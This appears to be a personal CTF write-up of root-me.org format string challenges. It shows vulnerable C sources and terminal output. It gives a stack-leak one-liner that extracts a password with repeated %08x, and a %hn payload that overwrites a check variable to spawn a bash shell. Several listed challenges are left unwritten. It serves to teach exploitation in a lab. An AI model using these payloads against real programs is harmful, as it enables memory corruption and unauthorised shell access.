root-me:Format string bug
I'd stayed away from pwn for several months because of my own fucking thoughts.
These days i was dived into ICS program assignment again and it's make me so gloomy.
To get more funny,the article appeared.
The article is aimed at summarizing the general way to exploit format string bugs.
All the challenges could be found on root-me.org
Attachment
N-Introduction-to-format-string-exploits
EN - Format Bugs - Exploiting format string
Content
- ELF x86 - Format string bug basic 1
- ELF x86 - Format string bug basic 2
- ELF x86 - Format String Bug Basic 3
↓↓↓↓↓↓↓↓↓↓↓↓↓↓FLAG~FLAG~FLAG~↓↓↓↓↓↓↓↓↓↓↓↓↓↓
- ELF x86 - Remote Format String bug
- ELF x86 - Blind remote format string bug
- ELF ARM - Heap format string bug
- ELF ARM - Format String bug
ELF x86 - Format string bug basic 1
It is the time i feel i am very stupid...Let's see the code:
#include
#include
int main(int argc, char *argv[]){
FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
char buffer[32];
fgets(buffer, sizeof(buffer), secret);
printf(argv[1]);
fclose(secret);
return 0;
It's extremely simple,right?
We know the buffer
is always on the stack,no matter how the stack changed
so we just print enough stack frame,
then adjust them into little-endient,
transfer them into ascii,
and the printable characters are our answer.
A wonderful script from Internet:
echo -e $(./ch5 $(python -c 'print "%08x" * 20') | sed -r '
# little-endian architecture, reorder bytes
s/(..)(..)(..)(..)//g
# preceed every byte by \x so it will be
# interpreted by echo -e
s/(..)/\x&/g
' ) | grep -Pazo '[[:print:]]{13}\n'
ELF x86 - Format string bug basic 2
What we should notice is that character '$' must be escaped with '\'
the push order of the params of printf()
,for example:
printf("Color %s, Number %d, Float %4.2f", color, num, f_num);
the stack layout is:
[stack bottom]
[ f_num value ]
[ num value ]
[ color value ]
[format string]
[ stack top ]
ch14:
#include
#include
/*
gcc -m32 -o ch14 ch14.c
*/
int main( int argc, char ** argv )
{
int var;
int check = 0x04030201;
char fmt[128];
if (argc <2)
exit(0);
memset( fmt, 0, sizeof(fmt) );
printf( "check at 0x%x\n", &check );
printf( "argv[1] = [%s]\n", argv[1] );
snprintf( fmt, sizeof(fmt), argv[1] );
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
printf( "fmt=[%s]\n", fmt );
printf( "check=0x%x\n", check );
if (check==0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/bash");
}
}
app-systeme-ch14@challenge02:~$ ./ch14 aaaaa
check at 0xbffffb38
argv[1] = [aaaaa]
fmt=[aaaaa]
check=0x4030201
app-systeme-ch14@challenge02:~$ ./ch14 "AAAA %x %x %x %x %x %x %x %x %x %x"
check at 0xbffffb28
argv[1] = [AAAA %x %x %x %x %x %x %x %x %x %x]
fmt=[AAAA b7fdc4a0 1 0 1 bffffc54 0 0 4030201 41414141 66376220]
check=0x4030201
app-systeme-ch14@challenge02:~$ ./ch14 "AAAAaaaa %x %x %x %x %x %x %x %x %x %x"
check at 0xbffffb18
argv[1] = [AAAAaaaa %x %x %x %x %x %x %x %x %x %x]
fmt=[AAAAaaaa b7fdc4a0 1 0 1 bffffc44 0 0 4030201 41414141 61616161]
check=0x4030201
As we see,AAAA(41414141)
has been recorded at the ninth location after AAAA
So we have a methond to write 0xdeadbeef
to aim address:
let it record the check address,write the aim value to check address use %?$n
%?$n
:the length of last output as input,write to ?th param
After this,its layout will be:
fmt=['beef address,dead address' b7fdc4a0 1 0 1 bffffc44 0 0 4030201 'beef address' 'dead address']
payload:
./ch14 $(python -c "print '\x28\xfb\xff\xbf'+'\x2a\xfb\xff\xbf'+'%48871x%9\$hn'+'%8126x%10\$hn'")
0xdeadbeef
is too large when as a decimal value,we have to devide it into 0xbeef
and 0xdead
.The machine is little-endient,so 0xbeef
is at the ninth one and 0xdead
is at the tenth one.
h
means 'half of machine word',the machine word of training machine is 32 bits.
(#@2017.12)
ELF x86 - Format string bug basic 3
no idea yet